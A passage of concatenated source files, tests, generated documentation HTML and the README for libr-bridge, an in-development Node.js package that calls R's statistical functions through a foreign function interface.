SEXP, SEXP, SEXP, SEXP, SEXP]], "Rf_lcons": [SEXP, [SEXP, SEXP]], "Rf_length": ["int", [SEXP]], "Rf_lengthgets": [SEXP, [SEXP]], "Rf_mainloop": ["void", []], // void Rf_mainloop(); "Rf_mkChar": [SEXP, ["string"]], "Rf_mkCharCE": [SEXP, ["string", "int"]], "Rf_mkString": [SEXP, ["string"]], "Rf_protect": [SEXP, [SEXP]], "Rf_setAttrib": [SEXP, [SEXP, SEXP, SEXP]], "Rf_setVar": [SEXP, [SEXP, SEXP, SEXP]], "Rf_translateCharUTF8": ["string", [SEXP]], // const char* Rf_translateCharUTF8(SEXP x) "Rf_unprotect": ["void", ["int"]], "SET_NAMED": ["void", [SEXP, "int"]], "SET_STRING_ELT": [SEXP, [SEXP, "int", SEXP]], // memory.c "SET_TAG": ["void", [SEXP, SEXP]], "STRING_ELT": [SEXP, [SEXP, "int"]], // memory.c "STRING_PTR": ["pointer", [SEXP]], // memory.c "ALTVEC_DATAPTR": ["pointer", [SEXP]], "STDVEC_DATAPTR": ["pointer", [SEXP]], "DATAPTR": ["pointer", [SEXP]], "TAG": [SEXP, [SEXP]], "TYPEOF": ["int", [SEXP]], "VECTOR_ELT": [SEXP, [SEXP, "int"]], "ptr_R_Busy": ["pointer", undefined], // void R_Busy (int which) "ptr_R_ShowMessage": ["pointer", undefined], // void R_ShowMessage(const char *s) "ptr_R_ReadConsole": ["pointer", undefined], // int R_ReadConsole(const char *prompt, unsigned char *buf, int len, int addtohistory); "ptr_R_WriteConsole": ["pointer", undefined], // void R_WriteConsole(const char *buf, int len) "ptr_R_WriteConsoleEx": ["pointer", undefined], // void R_WriteConsoleEx(const char *buf, int len, int otype) "R_GlobalEnv": [SEXP, undefined], "R_NaString": [SEXP, undefined], "R_BlankString": [SEXP, undefined], //"R_IsNA": ["int", [ieee_double]], // Rboolean R_IsNA(double); //"R_IsNaN": ["int", [ieee_double]], // Rboolean R_IsNaN(double); }; var libR = undefined; /** * Load libR from appropriate place. * @constructor * @param r_path "auto" (default) || "environment" || "system" || "buildin" || path to R_HOME * "auto" - try "environment" -> "system" -> "buildin" * "environment" - use environmental R_HOME and LD_LIBRARY_PATH. libr-bridge handles nothing. * "system" - find system installed R * "buildin" - (NOT IMPLEMENTED) use redistributed binary attached with libr-bridge-bin * @returns libR object which enables access to dynamic link library. */ export default function createLibR(r_path = "auto"){ if(libR !== void 0){ return libR; } debug(`creating libR: ${r_path}`); if(r_path == "auto"){ try{ libR = createLibR("environment"); }catch(e){ try{ libR = createLibR("system"); }catch(e){ try{ libR = createLibR("buildin"); }catch(e){ throw new Error("R not found. Please specify path manually."); } } } }else if(r_path == "environment"){ // use environmental R_HOME if(process.env.R_HOME !== void 0){ libR = createLibR(process.env.R_HOME); } }else if(r_path == "system"){ let my_path; try { if (process.platform == "win32") { const windef = windowsRegistry.windef; let k; try { k = new windowsRegistry.Key(windef.HKEY.HKEY_LOCAL_MACHINE, "SOFTWARE\\R-core\\R", windef.KEY_ACCESS.KEY_READ); }catch(e){ debug("No key in HLM, finding HCU."); k = new windowsRegistry.Key(windef.HKEY.HKEY_CURRENT_USER, "SOFTWARE\\R-core\\R", windef.KEY_ACCESS.KEY_READ); } my_path = k.getValue("InstallPath"); k.close(); }else{ const ret = child_process.execSync("Rscript -e \"cat(Sys.getenv('R_HOME'))\""); my_path = ret.toString(); } libR = createLibR(my_path); }catch(e){ debug("Loading system R failure: " + e); throw new Error("Couldn't load installed R (RScript not found or bad registry)"); } }else if(r_path == "buildin"){ throw new Error("NOT IMPLEMENTED."); }else if(r_path == ""){ throw new Error("Please specify installed R."); }else{ // assuming path of installed R is specified. const delim = path.delimiter; if(r_path.slice(-1) == path.sep) r_path = r_path.slice(0, -1); // remove trailing "/" (or "\") process.env.R_HOME = r_path; if (process.platform == "win32") { process.env.PATH = `${r_path}\\bin\\x64${delim}` + process.env.PATH; libR = ffi.Library(`${r_path}\\bin\\x64\\R.dll`, apiList); }else{ process.env.LD_LIBRARY_PATH = `${r_path}${delim}${r_path}/lib${delim}` + process.env.LD_LIBRARY_PATH; process.env.DYLD_LIBRARY_PATH = `${r_path}${delim}${r_path}/lib${delim}` + process.env.DYLD_LIBRARY_PATH; libR = ffi.Library("libR", apiList); } } if(libR == undefined){ throw new Error("Couldn't read libR"); } return libR; } /* * vim: filetype=javascript */ <file_sep>"use strict"; // import ref from "ref"; // import refArray from "ref-array"; // import R from "./R"; // import {REALSXP} from "./libR"; // import SEXPWrap from "./SEXPWrap"; import debug_ from "debug"; const debug = debug_("libr-bridge:RObject"); /** * JavaScript class for R Array type. * Please use appropriate deriverd class if possible. */ export class RArray extends Array{ // nothing special. It's only an alias. } export class RIntArray extends RArray{ } export class RBoolArray extends RArray{ } export class RStrArray extends RArray{ } export class RRealArray extends RArray{ } export class RComplexArray extends RArray{ } /** * JavaScript class for R Factor type. * A factor has numerical(integer) array with keys. */ export class RFactor extends RArray{ /** * Create a factor. * @param data {string[]} String array indicate category, like ["male", "female", "male", ...] * @param levels {Object} Category item like ["male", "female"] * @param ordered {boolean} If true, this factor is ordered factor (nominal) */ constructor(data, levels=undefined, ordered=false){ var mylevels; if(!Array.isArray(data)){ super(data); }else{ if(levels === undefined){ var s = new Set(); data.forEach((item) => s.add(item)); mylevels = Array.from(s); }else if(Array.isArray(levels)){ mylevels = levels; }else{ throw new Error("Unknown label of factor."); } mylevels = mylevels.filter((v) => v !== undefined); // RFactor is 1-origin! const values = data.map((v) => mylevels.indexOf(v) + 1) .map((v) => v === 0 ? undefined : v); super(...values); } this.levels = mylevels; this.ordered = ordered; } /** * Return proxy object which returns factor in String. */ asString(){ return new Proxy(this, { get: (target, prop, receiver) => { if(typeof(prop) === "string" && Number(prop) === prop * 1 ){ const i = target[prop]; return i ? this.levels[i - 1] : undefined; }else if (prop === "Unproxy"){ return target; }else{ return Reflect.get(target, prop, receiver); } } }); } } /** * JavaScript class for R Data Frame type. * With a data frame, we can perform data analysis. */ export class RDataFrame extends Map{ /** * Create RDataFrame from object. * e.g.: * { * "id": [ 12345, 23456, 34567 ], * "Name": ["apple", "banana", "orange"], * "Color": ["red", "yellow", "orange"] * } * or, use Map. * Please take care that all items in the data frame have same number of items. */ constructor(data){ console.assert(typeof(data) === "object"); if(!(data instanceof Map)){ // Object -> Map data = new Map(Object.entries(data)); } // check if all members have same length. let length_of_item = []; for(const item in data){ length_of_item.push(data[item].length); } if(length_of_item.some((n) => n !== length_of_item[0])){ console.log(length_of_item); throw new Error("Vector size mismatch."); } super(data); } } /* * vim: filetype=javascript */ <file_sep>"use strict"; import R from "./R"; /* Execute this script with: * node -r @std/esm example.mjs * or * node --experimental-modules example.mjs * If something is wrong, try with: * DEBUG=libr-bridge:* node -r @std/esm example.mjs */ let r = new R(); const arrA = [1.00, 3.36, 8.01, 1.22, 3.74, 2.43, 7.95, 8.32, 7.45, 4.36]; const arrB = [1.04, 3.65, 6.82, 1.46, 2.70, 2.49, 7.48, 8.28, 8.93, 5.63]; /* Some functions are already loaded to libr-bridge */ console.log("Mean of arrA: " + r.mean(arrA)); console.log("Mean of arrB: " + r.mean(arrB)); console.log("Peason's correlation coefficient: " + r.cor(arrA, arrB)); //TODO: r['wilcox.test'](arrA, arrB); /* You can pass data to R */ r.setVar("a", arrA); /* And data can be used in R */ console.log(r.eval("sum(a)")); r.eval("b <- a / 2"); console.log(r.eval("b")); /* You can receive data from R */ const b = r.getVar("b"); console.log(b); /* Execute complex command with eval. */ r.eval(` myfactorial <- function(x) { if (x == 0) { return(1) } else { return(x * myfactorial(x - 1)) } } `); let factorial_50 = r.func("myfactorial")(50); console.log(factorial_50); /* * vim: filetype=javascript */ <file_sep>export default function assert_ext(assert){ assert.almostEqual = (a, b, allow = 0.001) => assert.ok(Math.abs(a - b) < allow, `${a} is not equal to ${b}`); assert.arrayEqual = (a, b) => { if(!Array.isArray(a) || !Array.isArray(b)){ assert.fail("not an array."); }else if(a.length != b.length){ assert.fail("different length"); }else{ assert.ok(a.every((e, i) => (e == b[i])), `different item: ${a} !== ${b}`); } }; } /* * vim: filetype=javascript */ <file_sep>module.exports = require("esm")(module)("./R.mjs").default; <file_sep><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <base data-ice="baseUrl" href="../../../"> <title data-ice="title">libr-bridge/test/basic.mjs | libr-bridge</title> <link type="text/css" rel="stylesheet" href="css/style.css"> <link type="text/css" rel="stylesheet" href="css/prettify-tomorrow.css"> <script src="script/prettify/prettify.js"></script> <script src="script/manual.js"></script> <meta name="description" content="Use libR from node.js"><meta property="twitter:card" content="summary"><meta property="twitter:title" content="libr-bridge"><meta property="twitter:description" content="Use libR from node.js"></head> <body class="layout-container" data-ice="rootContainer"> <header> <a href="./">Home</a> <a href="identifiers.html">Reference</a> <a href="source.html">Source</a> <div class="search-box"> <span> <img src="./image/search.png"> <span class="search-input-edge"></span><input class="search-input"><span class="search-input-edge"></span> </span> <ul class="search-result"></ul> </div> <a style="position:relative; top:3px;" href="https://github.com/kcrt/libr-bridge.git"><img width="20px" src="./image/github.png"></a></header> <nav class="navigation" data-ice="nav"><div> <ul> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/R.mjs~R.html">R</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RArray.html">RArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RBoolArray.html">RBoolArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RComplexArray.html">RComplexArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RDataFrame.html">RDataFrame</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RFactor.html">RFactor</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RIntArray.html">RIntArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RRealArray.html">RRealArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RStrArray.html">RStrArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/SEXPWrap.mjs~SEXPWrap.html">SEXPWrap</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-function">F</span><span data-ice="name"><span><a href="function/index.html#static-function-createLibR">createLibR</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-ComplexInR">ComplexInR</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-ParseStatus">ParseStatus</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-SEXP">SEXP</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-SEXPREC_ALIGN_SIZE">SEXPREC_ALIGN_SIZE</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-SEXPTYPE">SEXPTYPE</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-variable">V</span><span data-ice="name"><span><a href="variable/index.html#static-variable-cetype_t">cetype_t</a></span></span></li> <li data-ice="doc"><a data-ice="dirPath" class="nav-dir-path" href="identifiers.html#test">test</a><span data-ice="kind" class="kind-function">F</span><span data-ice="name"><span><a href="function/index.html#static-function-assert_ext">assert_ext</a></span></span></li> </ul> </div> </nav> <div class="content" data-ice="content"><h1 data-ice="title">libr-bridge/test/basic.mjs</h1> <pre class="source-code line-number raw-source-code"><code class="prettyprint linenums" data-ice="content">import R from &quot;../R&quot;; import assert from &quot;assert&quot;; import assert_ext from &quot;./assert_ext&quot;; import Complex from &quot;Complex&quot;; import { RFactor, RIntArray, RDataFrame } from &quot;../RObject&quot;; var r; assert_ext(assert); describe(&quot;Initialize&quot;, () =&gt; { it(&quot;Initialize&quot;, () =&gt; { r = new R(); }); }); describe(&quot;Primitives&quot;, () =&gt; { it(&quot;Integer&quot;, () =&gt; { assert.equal(1, r.eval(&quot;as.integer(1)&quot;)); assert.equal(0, r.eval(&quot;as.integer(0)&quot;)); assert.equal(-1, r.eval(&quot;as.integer(-1)&quot;)); r.setVar(&quot;numvar&quot;, 2017); assert.equal(2017, r.getVar(&quot;numvar&quot;)); assert.equal(2017, r.eval(&quot;numvar&quot;)); r.setVar(&quot;intvar&quot;, RIntArray.of(1)); assert.equal(1, r.getVar(&quot;intvar&quot;)); assert.equal(1, r.eval(&quot;intvar&quot;)); assert.equal(&quot;integer&quot;, r.eval(&quot;typeof(intvar)&quot;)); }); it(&quot;Real&quot;, () =&gt; { assert.equal(1.0, r.eval(&quot;1.0&quot;)); assert.equal(0.5, r.eval(&quot;0.5&quot;)); }); it(&quot;String&quot;, () =&gt; { assert.equal(&quot;abc&quot;, r.eval(&quot;\&quot;abc\&quot;&quot;)); r.setVar(&quot;strvar&quot;, &quot;kcrt&quot;); assert.equal(&quot;kcrt&quot;, r.getVar(&quot;strvar&quot;)); assert.equal(&quot;kcrt&quot;, r.eval(&quot;strvar&quot;)); assert.equal(&quot;&quot;, r.eval(&quot;\&quot;\&quot;&quot;)); }); it(&quot;Logical (Boolean)&quot;, () =&gt; { assert.equal(true, r.eval(&quot;T&quot;)); assert.equal(false, r.eval(&quot;F&quot;)); assert.notEqual(false, r.eval(&quot;T&quot;)); assert.notEqual(true, r.eval(&quot;F&quot;)); r.setVar(&quot;logvar&quot;, true); assert.ok(r.eval(&quot;logvar&quot;)); }); it(&quot;Complex&quot;, () =&gt; { const cpxvar = new Complex(1, 2); assert.ok(cpxvar.equals(r.eval(&quot;1+2i&quot;))); r.setVar(&quot;cpxvar&quot;, cpxvar); assert.equal(r.eval(&quot;Re(cpxvar)&quot;), cpxvar.real); assert.equal(r.eval(&quot;Im(cpxvar)&quot;), cpxvar.im); assert.equal(r.eval(&quot;abs(cpxvar)&quot;), cpxvar.abs()); assert.equal(r.eval(&quot;Arg(cpxvar)&quot;), cpxvar.angle()); assert.ok(r.eval(&quot;cpxvar^2&quot;).equals(cpxvar.multiply(cpxvar))); }); }); describe(&quot;Special values&quot;, () =&gt; { it(&quot;Empty vector&quot;, () =&gt; { assert.equal(r.eval(&quot;vector(mode=\&quot;numeric\&quot;, length=0)&quot;).length, 0); r.setVar(&quot;empty_vector&quot;, []); assert.equal(r.eval(&quot;length(empty_vector)&quot;), 0); }); it(&quot;NA&quot;, () =&gt; { assert.strictEqual(r.eval(&quot;NA&quot;), void 0); assert.arrayEqual(r.eval(&quot;c(1.1, 2.1, NA)&quot;), [1.1, 2.1, undefined]); assert.arrayEqual(r.eval(&quot;c(1:2, NA)&quot;), [1, 2, undefined]); assert.arrayEqual(r.eval(&quot;c(&apos;a&apos;, &apos;&apos;, NA)&quot;), [&quot;a&quot;, &quot;&quot;, undefined]); r.setVar(&quot;NASingle&quot;, void 0); r.setVar(&quot;NAReal&quot;, [1.0, void 0]); r.setVar(&quot;NAStr&quot;, [&quot;a&quot;, void 0]); r.setVar(&quot;NABool&quot;, [true, void 0]); assert.ok(r.eval(&quot;is.na(NASingle) &amp;&amp; !is.nan(NASingle)&quot;)); assert.ok(r.eval(&quot;is.na(NAReal[2]) &amp;&amp; !is.nan(NAReal[2])&quot;)); assert.ok(r.eval(&quot;is.na(NAStr[2]) &amp;&amp; !is.nan(NAStr[2])&quot;)); assert.ok(r.eval(&quot;is.na(NABool[2]) &amp;&amp; !is.nan(NABool[2])&quot;)); }); it(&quot;NaN&quot;, () =&gt; { assert.ok(isNaN(r.eval(&quot;NaN&quot;))); assert.ok(isNaN(r.eval(&quot;0 / 0&quot;))); }); it(&quot;Inf&quot;, () =&gt; { assert.strictEqual(r.eval(&quot;Inf&quot;), Infinity); assert.strictEqual(r.eval(&quot;-Inf&quot;), -Infinity); }); }); describe(&quot;Array&quot;, () =&gt; { const arr_1to100 = R.range(1, 101); it(&quot;ES Array &lt;-&gt; R Array&quot;, () =&gt; { assert.arrayEqual([3, 2, 1], r.eval(&quot;as.integer(c(3, 2, 1))&quot;)); assert.arrayEqual([1, 2, 3], r.c(1, 2, 3)); assert.arrayEqual(arr_1to100, r.eval(&quot;1:100&quot;)); r.setVar(&quot;myarr&quot;, arr_1to100); assert.ok(r.eval(&quot;all.equal(myarr, 1:100)&quot;)); assert.ok(!r.eval(&quot;isTRUE(all.equal(myarr, 2:101))&quot;)); assert.arrayEqual(arr_1to100, r.getVar(&quot;myarr&quot;)); }); it(&quot;Int Array&quot;, () =&gt; { assert.arrayEqual(new RIntArray(...arr_1to100), r.eval(&quot;1:100&quot;)); }); it(&quot;String Array&quot;, () =&gt; { var strArr = [&quot;abc&quot;, &quot;def&quot;, &quot;ghi&quot;, &quot;jkl&quot;, &quot;mno&quot;]; assert.arrayEqual(strArr, r.eval(&quot;c(\&quot;abc\&quot;, \&quot;def\&quot;, \&quot;ghi\&quot;, \&quot;jkl\&quot;, \&quot;mno\&quot;)&quot;)); r.setVar(&quot;strArr&quot;, strArr); assert.arrayEqual(strArr, r.getVar(&quot;strArr&quot;)); }); }); describe(&quot;Factor&quot;, () =&gt; { const v = [&quot;apple&quot;, &quot;banana&quot;, &quot;apple&quot;, undefined, &quot;orange&quot;]; const idx = [1, 2, 1, undefined, 3]; it(&quot;Create factor&quot;, () =&gt; { const fac = new RFactor(v); assert.arrayEqual(fac, idx); r.setVar(&quot;facvar&quot;, fac); assert.arrayEqual(r.getVar(&quot;facvar&quot;), idx); }); it(&quot;Create ordered factor&quot;, () =&gt; { const fac = new RFactor(v, void 0, true); assert.arrayEqual(fac, idx); r.setVar(&quot;facvar&quot;, fac); assert.arrayEqual(r.getVar(&quot;facvar&quot;), idx); }); }); describe(&quot;Data frame&quot;, () =&gt; { const data = { &quot;id&quot;: [ 12345, 23456, 34567], &quot;Name&quot;: [&quot;apple&quot;, &quot;banana&quot;, &quot;orange&quot;], &quot;Color&quot;: new RFactor([&quot;red&quot;, &quot;yellow&quot;, &quot;orange&quot;]) }; const data2 = new Map([ [&quot;id&quot;, [ 12345, 23456, 34567]], [&quot;Name&quot;, [&quot;apple&quot;, &quot;banana&quot;, &quot;orange&quot;]], [&quot;Color&quot;, new RFactor([&quot;red&quot;, &quot;yellow&quot;, &quot;orange&quot;])] ]); it(&quot;Create data frame&quot;, () =&gt; { r.setVar(&quot;mydataframe&quot;, new RDataFrame(data)); assert.arrayEqual(data.id, r.getVar(&quot;mydataframe&quot;).get(&quot;id&quot;)); r.setVar(&quot;mydataframe&quot;, new RDataFrame(data2)); assert.arrayEqual(data.Name, r.getVar(&quot;mydataframe&quot;).get(&quot;Name&quot;)); assert.notEqual(r.eval(&quot;iris&quot;).get(&quot;Species&quot;).levels.indexOf(&quot;versicolor&quot;), -1); }); it(&quot;Invalid data frame&quot;, () =&gt; { assert.throws(() =&gt; {r.setVar(&quot;test&quot;, {&quot;id&quot;: [1, 2], &quot;Name&quot;: &quot;kcrt&quot;});}, Error); }); }); describe(&quot;Attribute&quot;, () =&gt; { it(&quot;Names&quot;, () =&gt; { r.setVar(&quot;numvar&quot;, 2017); r.eval(&quot;names(numvar) = \&quot;hello\&quot;&quot;); assert.equal(&quot;hello&quot;, r.getVarNames(&quot;numvar&quot;)); r.setVar(&quot;strvar&quot;, &quot;kcrt&quot;); r.setVarNames(&quot;strvar&quot;, &quot;hello&quot;); assert.equal(&quot;hello&quot;, r.eval(&quot;names(strvar)&quot;)); r.setVar(&quot;no_name_var&quot;, &quot;test&quot;); assert.strictEqual(r.getVarNames(&quot;no_name_var&quot;), void 0); }); }); describe(&quot;Basic calculation&quot;, () =&gt; { it(&quot;+-*/&quot;, () =&gt; { const expression = [ &quot;1 + 1&quot;, &quot;10 + 20&quot;, &quot;1984 + 2017&quot;, &quot;-1 + 3&quot;, &quot;1 - 1&quot;, &quot;2 - 30&quot;, &quot;0 - 5&quot;, &quot;1 - (-3)&quot;, &quot;1 * 1&quot;, &quot;2 * 10&quot;, &quot;1984 * 2017&quot;, &quot;0 * 99999&quot;, &quot;99999 * 99999&quot;, &quot;8 / 4&quot;, &quot;200 / 5&quot;, &quot;4 / 3&quot;, &quot;22 / 7&quot;, &quot;0 / 100&quot; ]; expression.map((e) =&gt; { assert.almostEqual(eval(e), r.eval(e)); }); }), it(&quot;pow&quot;, () =&gt; { assert.almostEqual(Math.pow(3, 15), r.eval(&quot;3^15&quot;)); }), it(&quot;modulo&quot;, () =&gt; { assert.almostEqual(1549 % 8, r.eval(&quot;1549 %% 8&quot;)); }); }); describe(&quot;Math function&quot;, () =&gt; { it(&quot;Trigonometric functions&quot;, () =&gt; { assert.almostEqual(Math.sin(0), r.sin(0)); assert.almostEqual(Math.sin(0.5), r.sin(0.5)); assert.almostEqual(Math.cos(0), r.cos(0)); assert.almostEqual(Math.cos(0.5), r.cos(0.5)); assert.almostEqual(Math.tan(0), r.tan(0)); assert.almostEqual(Math.tan(0.5), r.tan(0.5)); }); it(&quot;Array and functions&quot;, () =&gt; { const arr_1to100 = R.range(1, 101); const sum_1to100 = arr_1to100.reduce((pre, v) =&gt; pre + v); assert.almostEqual(sum_1to100, r.sum(arr_1to100)); assert.almostEqual(sum_1to100 / 100, r.mean(arr_1to100)); }); }); describe(&quot;Function call with named arguments&quot;, () =&gt; { it(&quot;Named arguments&quot;, () =&gt; { assert.strictEqual(r.mean([1, 2, 3, undefined]), void 0); assert.strictEqual(r.mean([1, 2, 3, undefined], {&quot;na.rm&quot;: true}), 2); }); }); describe(&quot;Long command&quot;, () =&gt; { it(&quot;factorial&quot;, () =&gt; { r.eval(` myfactorial &lt;- function(x) { if (x == 0) { return(1) } else { return(x * myfactorial(x - 1)) } } `); let factorial_50 = r.func(&quot;myfactorial&quot;)(50); assert.equal(factorial_50, R.range(1, 51).reduce((pre, v) =&gt; pre * v)); }); }); describe(&quot;Failing test&quot;, () =&gt; { it(&quot;non existing variable&quot;, () =&gt; { assert.strictEqual(r.getVar(&quot;non_exsisting_var&quot;), void 0); }); it(&quot;Syntax error in eval&quot;, () =&gt; { assert.throws(() =&gt; {r.eval(&quot;2 *+* 4&quot;, true);}, Error); }); it(&quot;Execution error in eval&quot;, () =&gt; { assert.throws(() =&gt; {r.eval(&quot;1 &lt;- 5&quot;, true);}, Error); assert.ok(r.evalWithTry(&quot;1 &lt;- 5&quot;, true).startsWith(&quot;Error&quot;)); }); it(&quot;Execution error in function call&quot;, () =&gt; { assert.throws(() =&gt; {r.func[&quot;stop&quot;](&quot;Test Error&quot;);}, Error); }); }); /* * vim: filetype=javascript */ </code></pre> </div> <footer class="footer"> Generated by <a href="https://esdoc.org">ESDoc<span data-ice="esdocVersion">(1.1.0)</span><img src="./image/esdoc-logo-mini-black.png"></a> </footer> <script src="script/search_index.js"></script> <script src="script/search.js"></script> <script src="script/pretty-print.js"></script> <script src="script/inherited-summary.js"></script> <script src="script/test-summary.js"></script> <script src="script/inner-link.js"></script> <script src="script/patch-for-local.js"></script> </body> </html> <file_sep>libr-bridge ======================================== ![Travis CI](https://travis-ci.org/kcrt/libr-bridge.svg?branch=master) Bridging module: JavaScript < - > R ![🄬🌉⬢](./logo.png) Sorry! It's under development. ---------------------------------------- * Some important features including S3/S4 object handling and expression are not supported yet! * Incompatible API changes may be held. * Please do not use in the production environment until specifications are fixed. * Pull requests are always welcome. What is libr-bridge? ---------------------------------------- [**libr-bridge**](https://github.com/kcrt/libr-bridge) is a very powerful npm package which enables you to use R function/statistical method in Node.js environment. [R (The R Foundation, Vienna, Austria)](https://www.r-project.org) is a free software environment for statistical computing. With **libr-bridge**, you can use function in R as if they were JavaScript native function. How to Use ---------------------------------------- Following samples and **libr-bridge** are written with ECMAScript 6 modules syntex (import/export). Please use [**esm**](https://github.com/standard-things/esm) or **--experimental-modules**. ```javascript let r = new R(); const arrA = [1.00, 3.36, 8.01, 1.22, 3.74, 2.43, 7.95, 8.32, 7.45, 4.36]; const arrB = [1.04, 3.65, 6.82, 1.46, 2.70, 2.49, 7.48, 8.28, 8.93, 5.63]; /* Some functions are already loaded to libr-bridge */ console.log("Mean of arrA: " + r.mean(arrA)); console.log("Mean of arrB: " + r.mean(arrB)); console.log("Peason's correlation coefficient: " + r.cor(arrA, arrB)); /* You can pass data to R */ r.setVar("a", arrA); /* And data can be used in R */ console.log(r.eval('sum(a)')); r.eval('b <- a / 2'); console.log(r.eval('b')); /* You can receive data from R */ let b = r.getVar("b"); /* Execute complex command with eval. */ r.eval(` myfactorial <- function(x) { if (x == 0) { return(1) } else { return(x * myfactorial(x - 1)) } } `); let factorial_50 = r.func("myfactorial")(50); console.log(factorial_50); console.log(r.eval("iris")); ``` API ---------------------------------------- ### `Document` Please see doc directory. Depending package ---------------------------------------- ### npm 1. [node-ffi: Node.js Foreign Function Interface](https://github.com/node-ffi/node-ffi) 1. [ref * Turn Buffer instances into "pointers"](https://tootallnate.github.io/ref/) 1. [arian/Complex: Calculations with Complex Numbers in JavaScript](https://github.com/arian/Complex) My TODO list ---------------------------------------- - [x] Factor - [x] Dataframe - [x] Console handling - [ ] S3 class - [ ] S4 class - [ ] Graphic handling Author information ---------------------------------------- Programmed by kcrt (TAKAHASHI, Kyohei) http://profile.kcrt.net/ License ---------------------------------------- Copyright © 2017 kcrt (TAKAHASHI, Kyohei) Released under the MIT license http://opensource.org/licenses/mit-license.php Reference ---------------------------------------- ### English 1. [R Internals](https://cran.r-project.org/doc/manuals/r-release/R-ints.html) 1. [R internals (by Hadley)](https://github.com/hadley/r-internals) 1. [Advanced R by <NAME>](http://adv-r.had.co.nz) - You can buy [Physical copy](https://www.amazon.com/dp/1466586966) of this material. Especially recommended! 1. [Rccp: Seamless R anc C++ Integration](https://github.com/RcppCore/Rcpp) 1. [Rcpp documentation](http://dirk.eddelbuettel.com/code/rcpp/html/index.html) 1. [Rcpp for everyone (Masaki E. Tsuda)](https://teuder.github.io/rcpp4everyone_en/) ### Japanese 1. [R入門 Ver.1.7.0](https://cran.r-project.org/doc/contrib/manuals-jp/R-intro-170.jp.pdf) 1. [R言語定義 Ver.1.1.0 DRAFT](https://cran.r-project.org/doc/contrib/manuals-jp/R-lang.jp.v110.pdf) 1. [Rの拡張を書く Ver2.1.0](https://cran.r-project.org/doc/contrib/manuals-jp/R-exts.jp.pdf) 1. [R言語徹底解説 <NAME> (著), 石田 基広ら (翻訳)](http://amzn.to/2xhIZtg) 特におすすめです。 1. [みんなのRcpp (Masaki E. Tsuda)](https://teuder.github.io/rcpp4everyone_ja/) <file_sep><!DOCTYPE html> <html> <head> <meta charset="utf-8"> <base data-ice="baseUrl" href="../../"> <title data-ice="title">libr-bridge/libR.mjs | libr-bridge</title> <link type="text/css" rel="stylesheet" href="css/style.css"> <link type="text/css" rel="stylesheet" href="css/prettify-tomorrow.css"> <script src="script/prettify/prettify.js"></script> <script src="script/manual.js"></script> <meta name="description" content="Use libR from node.js"><meta property="twitter:card" content="summary"><meta property="twitter:title" content="libr-bridge"><meta property="twitter:description" content="Use libR from node.js"></head> <body class="layout-container" data-ice="rootContainer"> <header> <a href="./">Home</a> <a href="identifiers.html">Reference</a> <a href="source.html">Source</a> <div class="search-box"> <span> <img src="./image/search.png"> <span class="search-input-edge"></span><input class="search-input"><span class="search-input-edge"></span> </span> <ul class="search-result"></ul> </div> <a style="position:relative; top:3px;" href="https://github.com/kcrt/libr-bridge.git"><img width="20px" src="./image/github.png"></a></header> <nav class="navigation" data-ice="nav"><div> <ul> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/R.mjs~R.html">R</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RArray.html">RArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RBoolArray.html">RBoolArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RComplexArray.html">RComplexArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RDataFrame.html">RDataFrame</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RFactor.html">RFactor</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RIntArray.html">RIntArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RRealArray.html">RRealArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span data-ice="name"><span><a href="class/libr-bridge/RObject.mjs~RStrArray.html">RStrArray</a></span></span></li> <li data-ice="doc"><span data-ice="kind" class="kind-class">C</span><span 